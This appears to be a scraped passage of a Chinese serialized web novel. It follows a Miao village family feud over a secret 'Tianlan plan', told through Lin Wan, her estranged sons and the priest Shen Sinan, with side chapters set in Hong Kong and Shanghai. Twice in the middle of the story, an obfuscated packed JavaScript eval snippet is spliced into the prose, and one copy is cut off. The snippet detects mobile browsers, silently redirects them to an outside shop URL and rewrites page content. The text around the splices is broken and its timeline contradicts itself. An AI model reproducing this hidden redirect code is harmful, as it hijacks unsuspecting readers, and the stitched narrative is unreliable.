沈司南的指尖缓缓收紧，掌心的吊坠传来一阵微凉的触感，像是在无声地提醒着他——这场风波，远没有结束。 夜色像一块厚重的墨，泼满了苗寨的山峦。吊脚楼的灯火渐次熄灭，只有寨口老榕树下，还亮着一盏昏黄的马灯。 林晚独自站在灯下，素色长裙被山风吹得微微扬起，手腕上的银镯泛着冷光。 脚步声从树影里钻出来，轻得像猫爪落地。戴银色面具的男人缓步走出，手里的吊坠碎片在马灯光晕里，闪着细碎的光。 “你不该回来的。”男人的声音沉了几分，不复白日里的玩味，带着一丝压抑的怒意。 林晚转过身，眼底的温柔尽数褪去，只剩下疲惫与无奈。她看着面具下那双熟悉的眼睛，声音轻得像叹息：“玉溪，你不要怪母亲，我是万不得已而为之。” 玉溪的身体猛地一僵，握着碎片的手骤然收紧，指节泛白。面具后的呼吸粗重了几分，语气里的寒意几乎要将周遭的空气冻住：“万不得已？当年你抛下我和祭祭，一走了之，也是万不得已？如今你回来，搅乱这潭水，也是万不得已？” “是。”林晚闭上眼，声音发颤，“当年若不离开，那些人不会放过我们母子，更不会放过苗寨。天蓝预案的秘密，从来都不该被外人知晓。” 她睁开眼，看向玉溪，目光里带着哀求：“把碎片交出来吧，玉溪。那不是你该碰的东西，钥匙和引子一旦相遇，带来的只会是毁灭。” “毁灭？”玉溪低笑一声，笑声里满是癫狂，“我等了这么多年，就是为了这一刻！凭什么他们祭司一脉能守着秘密，凭什么我们母子要东躲西藏？我要打开裂隙，我要让那些人付出代价！” 他猛地抬眼，面具后的目光锐利如刀：“还有，别叫我玉溪。在你抛下我的那天起，这个名字就死了。” 山风卷着落叶，掠过老榕树的枝桠，发出呜咽般的声响。马灯的光晕晃了晃，映着两人对峙的身影，像一幅沉郁的水墨画。 林晚看着眼前陌生的儿子，眼底的泪终于落了下来，砸在青石板上，碎成一地冰凉。 山风卷着落叶，呜咽着掠过老榕树的枝桠。马灯的光晕在风里晃了晃，将两人对峙的影子拉得又细又长。 林晚的眼泪砸在青石板上，碎成冰凉的星点。她看着眼前面目全非的儿子，声音里带着泣血的沙哑：“当年那些人找上门，逼我们交出吊坠的引子，说不交就血洗苗寨。我一个女人，护不住两个孩子，护不住你和祭祭……” 她的声音发颤，每一个字都像是从喉咙里挤出来的：“我只能把引子的碎片藏在你身上，让你跟着远亲逃走，又把钥匙交给祭祭的父亲，拜托寨老隐瞒一切。我假意答应那些人出国留学，实则是去查他们的底细，这一去，就是十几年……” “够了！”玉溪猛地低吼一声，面具下的眼睛猩红一片，“你说的这些，我都不信！你就是嫌我们累赘，嫌苗寨偏僻，你就是想逃！” 他的话音落下，树影深处忽然传来一声极轻的响动。 林晚和玉溪同时转头望去—— 许祭站在那里，怀里抱着睡得迷迷糊糊的嘻嘻，脸色苍白得像纸，眼底满是震惊和茫然。他不知道自己站了多久，也不知道听了多少，只觉得耳边嗡嗡作响，母亲的每一句话，都像一把重锤，狠狠砸在他的心上。 原来，他不是只有一个亲人。 原来，那个癫狂的男人，是他的亲哥哥。 原来，母亲的离开，藏着这么多的不得已。 许祭的嘴唇动了动，想喊一声“妈”，想喊一声“哥”，却发现喉咙像是被什么堵住了，一个字也发不出来。 林晚看见他的瞬间，脸色煞白，脚步踉跄着往前冲了两步，声音破碎得不成样子：“祭祭……你怎么会在这里？” 玉溪的目光落在许祭身上，猩红的眼底闪过一丝复杂的情绪，有惊愕，有挣扎，还有一丝连他自己都没察觉到的柔软。他握着碎片的手松了松，又很快攥紧，声音冷得像冰：“偷听别人说话，可不是什么好习惯。” 许祭抱着嘻嘻的手越收越紧，指节泛白。他看着眼前的两人，看着这个陌生的母亲，看着这个癫狂的哥哥，只觉得心里像是被撕开了一道口子，冷风灌进去，疼得他浑身发抖。 马灯的光晃了晃，映着三人僵硬的身影，夜色里的苗寨，安静得可怕。 许祭的嘴唇哆嗦着，指尖冰凉得发颤，怀里的嘻嘻似乎察觉到他的颤抖，轻轻“喵”了一声，用脑袋蹭着他的手腕。 他看着面具后那双猩红的眼睛，喉咙里像是堵着一团棉花，涩得发疼。酝酿了许久，才从齿缝里挤出两个字：“哥……” 刚喊出口，他又猛地摇头，眼神里带着一丝决绝，声音也拔高了几分，带着少年人独有的嘶哑：“不对，你是许玉溪。” 许玉溪的身体猛地一僵，握着吊坠碎片的手几不可察地抖了一下。面具后的呼吸粗重了几分，却没有说话。 许祭看着他，眼底的水汽越积越浓，却强忍着没掉下来。他往后退了一步，声音里带着哀求，也带着一丝不易察觉的哽咽：“放过我们吧，你走。” “走？”许玉溪低笑一声，笑声里满是自嘲和癫狂，“我能去哪里？从我被你妈抛下的那天起，我就没有地方可去了！” 林晚站在一旁，脸色惨白，泪水无声地滑落，嘴唇动了动，却一个字也说不出来。 山风卷着寒意，吹得马灯的光晕摇摇欲坠。许祭看着眼前这个被恨意裹挟的哥哥，心里像是被针扎一样疼。他知道，有些裂痕一旦出现，就再也无法弥补了。 许玉溪的身体猛地一颤，握着吊坠碎片的手青筋暴起，指节泛白得几乎要裂开。面具后的呼吸陡然急促，那癫狂的笑意彻底消散，只剩下压抑到极致的痛楚。 他死死盯着许祭苍白的脸，声音嘶哑得像是被砂纸磨过，一字一句，带着血泪般的恨意，又藏着一丝连自己都不愿承认的柔软：“许祭，我恨你！” 恨你生来就被留在苗寨，被所有人护着；恨你拥有他梦寐以求的安稳，恨你连眉眼间的笑意，都成了他遥不可及的奢望。 山风卷着落叶掠过，马灯的光晕晃得人眼花。许玉溪看着许祭眼底的水汽，看着他怀里那只不安蹭着的橘猫，看着他还带着少年稚气的脸庞，喉咙里的恨意忽然卡在了那里。 他别过头，声音低得像呢喃，带着一丝狼狈的妥协，还有无人知晓的心疼：“可是……你还在上初中，我舍不得。” 许玉溪的目光忽然转了方向，落在不远处树影里的沈司南身上，那眼神锐利得像刀，带着几分审视，又带着几分说不清道不明的嘲弄。 他缓缓收回目光，重新看向许祭，声音里的癫狂褪去不少，多了几分低沉的探究，尾音轻轻拖长，带着点刻意的亲昵：“沈司南和你在一起了，对吗？弟弟。” 许祭的脸“腾”地一下红透了，从耳根到脖颈，都染上了一层薄红。他下意识地攥紧了怀里的嘻嘻，眼神有些慌乱，嘴唇动了动，却一个字也说不出来。 树影里的沈司南也走了出来，快步走到许祭身边，伸手将人护在身后，目光冷冽地看向许玉溪：“与你无关。” 许玉溪低笑一声，面具后的眼睛弯起，语气里满是玩味：“怎么与我无关？他是我弟弟。” 就在这时，许祭怀里的嘻嘻忽然动了。 它从许祭的臂弯里跳出来，稳稳落在青石板上，原本软糯的呼噜声消失不见，那双圆溜溜的眼睛里闪过一丝不属于猫的锐利光芒。 “许玉溪。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“林晚，”寨老的声音苍老却带着不容置疑的威严，目光扫过她，又落在许祭身上，终究是软了几分，却还是沉声道，“你身为天蓝预案守护者的后人，隐瞒引子碎片的秘密，还将玉溪引回苗寨，搅乱寨中安宁，按苗寨规矩，今日需押去祠堂，当着列祖列宗的面，说清所有来龙去脉。” 话音落下，两个寨民便上前一步，伸手就要去扶林晚。 “我自己走。”林晚抬手轻轻拨开他们的手，声音平静得不像话。她转头看向许祭，眼底闪过一丝愧疚与不舍，张了张嘴，最终只化作一句，“祭祭，别担心。” 许祭攥紧了拳头，想上前拦住，却被沈司南轻轻按住了肩膀。沈司南摇了摇头，眼底满是安抚：“寨老不会冤枉好人，先让伯母去祠堂，我们再想办法。” 许祭红着眼眶，看着母亲的身影被寨民簇拥着，一步步走向寨子深处的祠堂。那座青瓦石墙的建筑，在晨雾里透着一股庄严肃穆的气息，像一张沉默的网，将所有秘密都笼罩其中。 铜锣声渐渐停了，苗寨的炊烟又袅袅升起，可空气里，却弥漫着一股挥之不去的压抑。 祠堂的香案上燃着三炷高香，青烟袅袅，缠绕着梁上悬挂的古老图腾。沈司南身着祭司的玄色长袍，端坐于香案前的高位，面色沉静，指尖轻轻摩挲着掌心的银色吊坠，目光落在堂下跪着的林晚身上，没有半分波澜。 “凭什么！凭什么你们祭司一脉就能定夺一切！”林晚猛地抬起头，发丝凌乱地贴在脸颊，眼底布满红血丝，声音嘶哑得像是被砂纸磨过，“当年我抛下孩子远走他乡，是为了护着苗寨！是为了守住天蓝预案的秘密！你们现在这样对我，和那些觊觎吊坠的人有什么区别！” 她挣扎着想要起身，却被两旁的寨民死死按住肩膀，只能徒劳地扭动着身体，胸口剧烈起伏，一声声怒吼撞在祠堂的石壁上，荡出嗡嗡的回响。 “我没有错！我只是想护住我的两个孩子！护住苗寨！”林晚的声音里带着哭腔，愤怒与委屈交织在一起，化作一声声歇斯底里的喊叫。 祠堂外的石阶上，围满了闻讯赶来的寨民，交头接耳的议论声顺着敞开的木门飘进来，乱纷纷地搅着祠堂里的肃穆。 “当年就说她心野，果然是留不住的……” “可她也是为了孩子啊，玉溪那孩子，从小就没享过福……” “祭司这么做也是按寨规来，天蓝预案是苗寨的根，容不得半点隐瞒！” “许祭这孩子可怜，刚认回娘，就出了这种事……” 七嘴八舌的议论声越来越响，林晚的怒吼渐渐低了下去，变成了压抑的呜咽。沈司南始终没有开口，只是那双深邃的眼眸里，翻涌着旁人看不懂的情绪。他知道，林晚的话里有真有假，而天蓝预案背后的真相，远比寨民们议论的，要复杂得多。 祠堂里的香火气混着晨雾的湿意，沉甸甸地压在每个人心头。林晚的呜咽声渐渐低了，肩头还在微微耸动，凌乱的发丝下，眼底满是疲惫与绝望。 沈司南终于动了。他从高位上站起身，玄色长袍的下摆扫过冰冷的青砖，脚步声不疾不徐，停在林晚面前。他俯身，目光沉静地看着她，声音褪去了祭司的威严，多了几分柔和：“阿妈，你是许祭的母亲，当然也是我的母亲。” 这话一出，祠堂里瞬间安静了一瞬，连香烛燃烧的噼啪声都清晰可闻。 林晚猛地抬头，怔怔地看着他，眼里的绝望裂开一道缝隙，闪过一丝错愕。 “天蓝预案的秘密，苗寨的规矩，都抵不过骨肉亲情。”沈司南的声音不高，却字字清晰，“你把当年的事，好好说出来，我放了你。” 祠堂外的议论声瞬间炸开了锅，寨民们交头接耳，声音比刚才更响了几分。 “司南这孩子……竟认了她当阿妈？” “祭司一脉向来最守规矩，今天怎么破例了？” “许祭和司南从小一起长大，情同手足，他这么做，也是顾念着那份情分吧？” “可林晚毕竟瞒了这么多事，就这么放了，寨规岂不是成了摆设？” 七嘴八舌的声音飘进祠堂，林晚看着沈司南眼底的真诚，紧绷的身体忽然垮了下去，眼泪再次汹涌而出，这一次，不再是愤怒的嘶吼，而是带着委屈的哽咽：“我……我说……” 祠堂外的石阶上，寨民们挤挤挨挨地站着，议论声像涨潮的溪水般越涌越高。 “哎哟，司南这孩子也太心软了！林晚瞒了这么大的事，按寨规本该重罚的，他居然还认她当阿妈！”一个挎着竹篮的阿婆踮着脚往祠堂里望，语气里满是不赞同。 旁边的汉子叼着旱烟杆，吧嗒吧嗒抽了两口，慢悠悠道：“你懂啥？司南和许祭从小光着屁股一起长大，情分比亲兄弟还深。许祭刚认回亲娘，他能看着人家娘俩分离？” “话是这么说，可天蓝预案是苗寨的根本啊！林晚藏着引子碎片的事，万一传出去，那些觊觎吊坠的人还不得闻风而来？”一个年轻后生皱着眉插嘴，引来一片附和。 “要我说，林晚当年也是没办法。你们想啊，一个女人带着两个孩子，被外人逼得走投无路，换谁不得藏点秘密？”有年长的寨民叹了口气，语气里多了几分同情，“再说了，她回来也是为了护着苗寨，护着许祭兄弟俩。” 议论声此起彼伏，有人骂林晚不守规矩，有人赞沈司南重情重义，还有人替许祭心疼，乱糟糟的声音裹着晨雾，飘进祠堂的每一个角落。 祠堂里的青烟缓缓飘绕，缠着梁上的古老图腾，将肃穆的气息漫进每一寸角落。林晚抬手抹掉脸上的泪，指尖划过粗糙的脸颊，声音带着哭过的沙哑，却比先前沉稳了许多。 “二十年前，我和许祭的父亲，还有玉溪的生父，都是天蓝预案的守护者。”她的目光望向香案上的牌位，像是在对着列祖列宗说话，“预案里说，钥匙和引子相生相克，绝不能落在同一人手里。可那时，有一伙外人盯上了苗寨，他们手段狠戾，扬言要拿到两样东西，打开时空裂隙，夺取里面的力量。” 堂外的议论声忽然静了下去，所有目光都透过敞开的木门，牢牢锁在她身上。 “玉溪的生父为了护住引子，死在了那些人手里。我带着两个孩子躲了三天三夜，还是被他们找到了。”林晚的声音发颤，眼底又漫上水光，“他们逼我交出引子和钥匙，不然就杀了两个孩子。我没办法，只能把引子掰成碎片，藏在玉溪贴身的衣服里，让远亲连夜带他逃走。又把钥匙交给许祭的父亲，拜托寨老对外谎称玉溪夭折，许祭父母进山采药遇了意外。” 她顿了顿，看向沈司南，目光里满是愧疚：“我假意答应那些人出国留学，实则是去追查他们的下落。这一去就是十几年，我不敢回来，怕那些人跟着我找到苗寨，更怕我一回来，就会打破这来之不易的平静。” “那你这次回来……”沈司南开口，声音低沉。 “我查到那些人又在找引子和钥匙的下落，”林晚攥紧了拳头，“玉溪恨我抛下他，被那些人蛊惑，想用引子碎片打开裂隙报仇。我必须回来，我不能让他毁了自己，更不能让苗寨毁在那些人手里。” 这番话落下，祠堂内外一片死寂，连香烛燃烧的噼啪声都听得一清二楚。 过了许久，堂外才传来一声长长的叹息，紧接着，议论声再次响起，却没了先前的指责，多了几分唏嘘。 “原来还有这么一段隐情……真是苦了这女人了。” “玉溪那孩子也是可怜，从小没爹娘疼，被人利用也难怪……” “那些外人真是狼心狗肺，居然敢打天蓝预案的主意！” 沈司南看着林晚泛红的眼眶，缓缓抬手，示意按住她的寨民退下。他将掌心的银色吊坠放在香案上，声音平静却带着力量：“既然真相大白，按寨规，既往不咎。从今日起，护寨队加派人手，严防外人进入苗寨，另外……” 他看向门外，目光锐利：“派人去找许玉溪，告诉他，苗寨永远是他的家。” 祠堂的门敞开着，晨风吹得香烛的火苗晃了晃，林晚的话音刚落，就听见一阵急促的脚步声由远及近。 许祭几乎是跌跌撞撞地跑过来的，额头上沾着汗，发丝凌乱地贴在脸颊，怀里还紧紧抱着睡得迷迷糊糊的嘻嘻。他冲进祠堂，目光在林晚身上一扫，看见她身上没有束缚，悬着的心才猛地落了地。 “妈！”他喊了一声，声音带着跑调的沙哑，几步冲到林晚面前，伸手就想拉住她的手，却又有些迟疑。 林晚看着他泛红的眼眶，喉咙发紧，先前强撑的镇定瞬间崩塌。她上前一步，用力将许祭搂进怀里，声音哽咽：“祭祭……” 许祭埋在她的颈窝，鼻尖发酸，眼泪不受控制地掉下来，蹭湿了她的素色长裙。他攥着她的衣角，力道大得指节泛白，像是怕一松手，她就会再次消失。 堂外的寨民看着这一幕，议论声渐渐低了下去，有人忍不住叹了口气，眼底多了几分动容。 沈司南站在香案旁，看着相拥的母子，紧绷的嘴角缓缓松了松，掌心的吊坠传来一丝温热的触感。 祠堂外的议论声忽然变了风向，先前的唏嘘渐渐被几分戏谑和了然取代，声音压得低低的，却偏偏能飘进祠堂里。 “我说呢，司南怎么这么护着林晚，原来是看在许祭的面子上！”一个皮肤黝黑的汉子挤了挤眼睛，惹得旁边人一阵低笑。 “可不是嘛！你看他俩从小好得跟一个人似的，现在啊，许祭早就是咱们祭司大人的人了！林晚那可是未来的嫂嫂的娘，哪能真罚？”一个阿婆捂着嘴笑，语气里满是看热闹的意味。 “难怪破例呢！寨规是死的，人是活的，再说了，许祭那孩子招人疼，司南护着他，咱们看着也欢喜！” “话是这么说，可也不能太偏私了吧？”有人小声反驳，却很快被更高的议论声盖过。 “偏私怎么了？祭司大人也是人！许祭嫂嫂这身份，搁在那儿呢！林晚是他丈母娘，护着点怎么了？” 七嘴八舌的话里，“许祭嫂嫂”四个字被反复提及，带着几分打趣，几分认可，飘在晨雾里，让祠堂里的许祭耳根瞬间红透，埋在林晚颈窝的脑袋埋得更深了。 祠堂里的喧闹忽然静了一瞬，香烛的火苗猛地晃了晃，青烟都似被一股冷意截断。 所有人的目光都齐刷刷地投向门口——许玉溪站在那里，银色面具还戴在脸上，黑色风衣的下摆沾着晨露和草屑，手里紧紧攥着那枚引子碎片，目光沉沉地扫过相拥的母子，最后落在沈司南身上。 他的脚步很轻，一步一步踩在青砖上，发出沉闷的声响，像是踩在每个人的心上。 堂外的寨民瞬间炸开了锅，有人惊呼出声，有人下意识地后退，议论声比刚才更嘈杂了几分。 “是他！是玉溪那孩子！” “他怎么敢来祠堂？不怕被寨民拿下吗？” “他手里还攥着引子碎片呢！司南会不会动手？” 许祭感觉到怀里的嘻嘻轻轻挣了挣，他抬起头，看着门口那个既熟悉又陌生的身影，喉咙发紧，刚喊出一个“哥”字，就被许玉溪冷冷的目光逼了回去。 许玉溪没有看他，也没有看林晚，只是定定地看着沈司南，声音沙哑却清晰：“我来，不是为了闹事。” 许玉溪往前迈了一步，银色面具后的目光沉沉的，褪去了往日的癫狂，只剩下一种近乎执拗的恳切。他对着沈司南微微躬身，声音不高，却字字清晰地传遍整个祠堂：“求祭祀大人，让我入莲花山白莲池。” 这话一出，祠堂内外瞬间炸开了锅。 莲花山白莲池是苗寨最清苦的修行之地，更是洗涤罪孽的地方。但凡入了白莲池的人，都要斩断尘缘，守着一池白莲，耗去半生光阴，以此赎罪。 “疯了吧！他要去白莲池？那地方是人待的吗？”一个年轻寨民失声喊出来，满脸不敢置信。 “这是要赎罪啊……他到底是想通了？”年长的阿婆摸着下巴，眼神复杂。 “祭祀大人能答应吗？白莲池可不是谁想进就能进的！再说了，他手里还攥着引子碎片呢！” “啧啧，早知今日何必当初！当初要是不被蛊惑，哪用得着去受那份罪！” “我看他是心疼许祭和他娘……不然怎么会放着好好的路不走，偏要去修行赎罪！” 议论声此起彼伏，有惋惜，有不解，也有几分隐隐的赞同。 沈司南看着许玉溪，玄色长袍的衣摆在风里微微晃动。他沉默了片刻，目光落在对方紧攥着引子碎片的手上，缓缓开口：“入白莲池，需先放下执念，交出引子碎片。你，能做到吗？” 许玉溪握着引子碎片的手猛地收紧，指节泛出青白的颜色，银色面具后的目光黯淡了几分，声音里带着一丝破釜沉舟的决绝：“我可以。” 他顿了顿，喉结滚动了一下，语气里漫上一层化不开的疲惫，像是耗光了所有力气：“要不然，我就只能去死了。” 这话落进祠堂里，惊得香烛火苗又是一颤。堂外的议论声瞬间静了下去，寨民们看着那个立在晨光里的身影，眼底的戒备渐渐被唏嘘取代。 沈司南看着他，眸光沉沉，良久才缓缓点头：“好。” 莲花山的晨雾浓得像化不开的牛乳，白莲池边的青石阶上覆着一层薄薄的露水，踩上去湿凉沁骨。 许玉溪褪下了黑色风衣，摘了银色面具，露出一张棱角分明却带着几分憔悴的脸。他穿着一身苗寨布衣，手里攥着那枚引子碎片，跟着引路的寨民走到池边时，脚步忽然顿住。 一池白莲开得正盛，粉白的花瓣沾着晨露，在雾里漾出朦胧的光。池心的青石台上，坐着一个女子。她穿着素白的裙衫，长发松松地挽着，手里捻着一片莲叶，垂眸时眼睫像蝶翼般轻颤，晨光透过雾霭落在她脸上，竟比池里的白莲还要干净几分。 许玉溪的呼吸猛地一滞。 他见过太多算计与恨意，见过人心的凉薄与诡谲，却从未见过这样的人——像从晨雾里生出来的，带着一股子不食人间烟火的清冽，连眉眼间的淡然，都透着一股让人不敢惊扰的温柔。 引路的寨民低声告诉他，这是守着白莲池的南宁仙子，自小长在池边，不问世事。 许玉溪没说话，只定定地看着她。风吹过池面，卷起一阵淡淡的荷香，女子似是察觉到了他的目光，缓缓抬眸望过来。那双眼睛清得像山涧的泉水，映着雾，映着莲，也映着他怔住的模样。 心脏像是被什么东西轻轻撞了一下，闷得发慌，却又奇异地生出一丝从未有过的柔软。那些盘踞在心底多年的恨意与戾气，竟在这一瞬，被这一池莲，这一个人，冲淡了些许。 他攥着碎片的手缓缓松开，指尖的凉意被心口涌上来的热意取代。原来这世间，竟真的有这样的人，能让他在满目疮痍之后，忽然生出几分“想留下来”的念头。 引路的寨民催了他一声，许玉溪才回过神，耳根悄悄泛红，却还是忍不住，又看了她一眼。 南宁仙子似是浅浅地笑了一下，转过头，继续去捻那片莲叶，晨光落在她的发梢，缀着细碎的光。 许玉溪的脚步，竟变得有些轻快起来。 45. 长春[番外] 风吹过白莲池，卷起满池荷香，拂过南宁素白的裙角。 她放下手中的莲叶，缓缓转过身，望向站在池边的许玉溪，眼底盛着晨雾般的温柔，唇边漾开一抹浅浅的笑意。 “玉溪哥哥，”她的声音清软得像山涧的泉水，轻轻落在风里，“你终于来了。” 许玉溪猛地怔住，攥着引子碎片的手微微一颤。他看着眼前的女子，明明是初见，可这一声呼唤，却带着一种莫名的熟悉感，像是等了很久很久。 池边的晨雾又浓了些，将两人的身影笼在一片朦胧里，远处传来几声鸟鸣，安静得不像话。 许玉溪的瞳孔骤然收缩，手里的引子碎片“哐当”一声掉在青石阶上，滚落到池边的浅水里。 他几乎是下意识地往前迈了两步，声音里带着难以置信的震颤，连带着指尖都在微微发抖：“南宁！” 这两个字像是冲破了尘封多年的记忆闸门，那些模糊的、被恨意掩盖的细碎片段，忽然在脑海里翻涌起来——也是这样的晨雾，也是这样的白莲池，有个穿白裙的小姑娘，追着他的脚步喊“玉溪哥哥”。 风吹过池面，荡起一圈圈涟漪，南宁望着他，眼底的笑意更深了些，像藏着一整个盛夏的光。 晨雾裹挟着荷香漫过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037632|194640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青石台，南宁望着许玉溪怔忪的模样，唇边的笑意倏地碎了。 她的眼眶倏地红了，豆大的泪珠毫无预兆地滚落，砸在素白的裙角上，晕开一小片深色的水渍。她抬手捂住嘴，肩膀控制不住地轻轻颤抖，压抑的呜咽声从指缝里漏出来，混着风里的莲香，听得人心头发紧。 “我等了你好久……”她哽咽着开口，声音断断续续，带着浓重的鼻音，“我以为你不会来了……” 许玉溪看着她哭得发红的眼睛，心口像是被什么东西狠狠攥住，酸胀得厉害。那些盘踞多年的恨意与戾气，在这细碎的哭声里，尽数化作了绕指的柔。 46. 林晚玉溪 晨雾还没漫过江心的时候，香港中环的旧茶楼里已经漾开了第一缕茶香。 林晚坐在临窗的位置，月白旗袍下摆堪堪垂到脚踝，露出一截踩着珍珠凉鞋的纤细足踝。她指尖捏着一把檀香扇，慢悠悠地摇着，目光却落在街对面霓虹闪烁的招牌上——那是一家新开的洋行，鎏金的字体在晨雾里晃得人眼晕。 “林小姐，这趟的货，当真要走水路？”对面的男人压低声音，指尖在桌面上敲出轻响，“近来查得严，万一……” 林晚抬眼，眼尾的红痣似淬了蜜，笑意却凉得很。她收起檀香扇，扇柄轻轻叩了叩桌面，声音清泠如碎玉：“水路险，陆路更险。你以为，那些盯着我们的人，是吃素的？” 男人噤声，额角渗出细汗。谁不知道，这姓林的女人看着温婉，手腕却硬得很。三年前她接手家族生意时，多少老东西明里暗里使绊子，最后都被她不动声色地收拾了，要么滚出香港，要么彻底销声匿迹。 林晚端起面前的茶盏，碧螺春的香气漫过鼻尖。她垂眸看着茶盏里浮沉的茶叶，忽然想起昨夜收到的信。信是从苗寨寄来的，纸页上沾着淡淡的蛊花香，字迹却潦草得很，只写了一句：“诸事妥帖，盼归。” 她的指尖微微收紧，茶盏边缘的温度烫得指腹发麻。 三年前，她带着未满周岁的许祭离开苗寨，一路南下到香港，不是为了什么家族生意，是为了躲。躲那些缠了她半生的祭祀规矩，躲那些刻在骨血里的蛊术传承，更躲那个让她爱恨交织的男人。 “林小姐？”男人的声音拉回她的思绪。 林晚松开指尖，笑意重新漫上眼角眉梢，却不达眼底：“按我说的做。三天后，码头见。” 她说完，起身付了茶钱，转身走出茶楼。晨雾渐渐浓了，裹挟着海腥味的风扑面而来，吹起她旗袍的下摆。她沿着街道慢慢走，路过一家糖果店时，脚步顿了顿。 橱窗里摆着五颜六色的糖人，捏的是香港街头常见的舞狮模样。她想起许祭，那孩子自小在苗寨长大，没见过这些玩意儿。前几日他还拽着她的衣角，奶声奶气地问：“娘亲，外面的世界，是不是有很多甜的东西？” 林晚的心头软了软，推门走进糖果店。 “老板娘，要一盒水果糖。”她指着柜台里的玻璃罐，声音柔和了几分。 老板是个慈眉善目的老太太，笑着给她装了满满一盒：“小姐是买给孩子的吧？这糖甜得很，小孩子都喜欢。” 林晚嗯了一声，付了钱，捏着那盒糖走出店门。风更凉了，雾却散了些，远处的洋行招牌清晰起来。她低头看着掌心的糖盒，指尖轻轻摩挲着冰凉的铁皮。 她知道，香港不是久留之地。苗寨的蛊声，总有一天会穿过山海，找到她。 可她还是想多留一阵子。 至少，等许祭再长大一点，等他尝遍世间所有的甜，再告诉他，他的血脉里，藏着怎样的荣光与枷锁。 她走到街角，停下脚步，转身望向大海的方向。雾色苍茫里，有海鸥的叫声穿云而来。她抬手，将那盒糖揣进旗袍内侧的口袋，那里贴着心口的位置，暖得很。 忽然，一阵熟悉的蛊香随风而至，淡得几乎闻不出来。 林晚的脚步猛地顿住，眼尾的红痣骤然绷紧。 她缓缓转身，看向身后空荡荡的街道。 晨雾里，一道玄色的身影，正缓缓走来。 晨雾里的玄色身影，走得极缓，却带着一种不容错辨的压迫感。衣料是苗寨特有的织锦，暗纹里缠了细如发丝的银线，在微亮的天光下，晕出一点冷冽的光。 是许念。 林晚握着糖盒的手，瞬间攥得死紧，指节泛白。那盒水果糖的铁皮棱角，硌得她掌心生疼。她没有动，也没有出声，只是看着那个男人一步步走近——他比三年前清瘦了些，眉眼依旧是记忆里的模样，深邃如古井，偏偏眼底凝着一层化不开的霜，衬得鼻梁高挺，唇线薄而冷硬。 他停在离她三步远的地方，目光落在她月白的旗袍上，又缓缓下移，落在她微微隆起的小腹位置——那是三年前，他亲手送走她时，还未显怀的地方。 “阿晚。” 他开口，声音低沉沙哑，像是被海风磨过，带着一种久违的喑哑。这一声唤，瞬间撞碎了林晚强撑的镇定，她喉间泛起一阵酸涩，却硬生生压了下去。 “你来做什么？”她抬眼，眼尾的红痣因为情绪的翻涌，艳得惊人，语气却冷得像冰，“苗寨的祭祀大典，不需要你这个宗主亲自……” “我来接你回家。”许念打断她的话，目光沉沉地锁住她，“还有，我的儿子。” 林晚猛地笑了，笑声里带着几分自嘲，几分悲凉：“回家？许念，你忘了三年前是谁把我赶走的？是谁说，我林晚的血脉，脏了你们许家的……” “我没忘。”许念的声音更低了，他往前又走了一步，气息里带着淡淡的蛊花香，那是独属于许家宗主的，与万蛊共生的味道，“但我更没忘，你是我许念明媒正娶的妻，是许祭的娘亲。” 他的目光，忽然落在她旗袍内侧的口袋上——那里微微鼓起，带着一点甜腻的香气，与周遭的海腥、茶香格格不入。 “给他买的？”他问，语气里难得有了一丝松动。 林晚的指尖，下意识地护着那个口袋，像是护着什么珍宝。她没有回答，只是别过脸，看向远处翻涌的海浪。晨雾彻底散了，阳光刺破云层，落在海面上，碎成一片金箔。 “他叫许祭。”林晚的声音很轻，却字字清晰，“祭祀的祭。” 许念的身体，几不可察地僵了一下。 这个名字，是他当初亲自取的。取的是苗寨百年传承的祭祀之责，取的是许家宗主继承人的宿命。可当年，他却因为族中长老的逼迫，亲手将怀着许祭的她，推离了苗寨。 风卷着海浪的声音，呼啸而过。 许念看着她倔强的侧脸，看着她眼尾那抹快要凝成泪的红，忽然伸出手，想要去碰她的发梢。 林晚却猛地后退一步，避开了。 她抬眼，眼底蓄着一层薄薄的水汽，却死死咬着唇，不让眼泪掉下来：“许念，你走吧。香港很好，我和阿祭，不回去。” 许念的手，僵在半空中。 他看着她，良久，才缓缓收回手，垂在身侧，指尖微微蜷缩。 “好。”他说，声音里带着一丝不易察觉的疲惫，“我不走。” 他顿了顿，目光扫过整条街的商铺，最后落在那家亮着灯的糖果店上。 “你在哪里，我就在哪里。” “直到你愿意，跟我回家。” 百乐门的霓虹晃得人眼晕，林晚刚送走闸北仓库的管事，转身就撞进一双熟悉的眼眸里。 许玉溪站在楼梯口，一身洗得发白的棉布长衫，衬得他身形清瘦挺拔。他手里攥着一个旧布包，指尖因为用力泛着白，目光落在林晚酒红色的卷发上，落在她绯色丝绒旗袍的开叉处，落在她耳垂那颗晃眼的鸽血红宝石上，眼神里翻涌着震惊、茫然，还有一丝不易察觉的委屈。 舞池里的靡靡之音还在响，红男绿女的笑闹声隔着一层薄薄的距离传过来，却像是被按下了静音键。 林晚握着酒杯的手猛地收紧，冰凉的玻璃硌得指腹生疼。她脸上的笑意瞬间敛去，眼尾的红痣像是淬了冰，艳得逼人，却冷得刺骨。 “你来做什么？”她开口，声音沙哑，却带着不容置疑的疏离。 许玉溪喉结动了动，往前走了两步，声音带着点颤：“娘……” 这一声“娘”，像一根针，狠狠扎进林晚的心口。她几乎是下意识地后退一步，避开了他的靠近，眼底的寒意更甚：“谁是你娘？我不认识你。” 许玉溪的脚步顿住，像是被人狠狠打了一耳光。他手里的布包掉在地上，滚出几包用油纸包好的点心，是香港那家糖果店隔壁的点心铺，林晚以前最喜欢买的桂花糕。 